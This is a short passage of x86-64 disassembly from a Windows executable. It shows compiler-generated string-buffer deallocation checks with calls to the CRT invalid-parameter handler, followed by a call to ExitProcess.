movdqu xmmword [rsp + 0x140], xmm7
mov word [rsp + 0x130], bx
mov rdx, qword [rsp + 0x128]
cmp rdx, 0xf
jbe 0x140009cea
inc rdx
mov rcx, qword [rsp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009ce5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009ce5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000cc60
movdqu xmmword [rsp + 0x120], xmm6
mov byte [rsp + 0x110], 0
mov rdx, qword [rsp + 0x1a8]
cmp rdx, 7
jbe 0x140009577
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009571
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009571
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]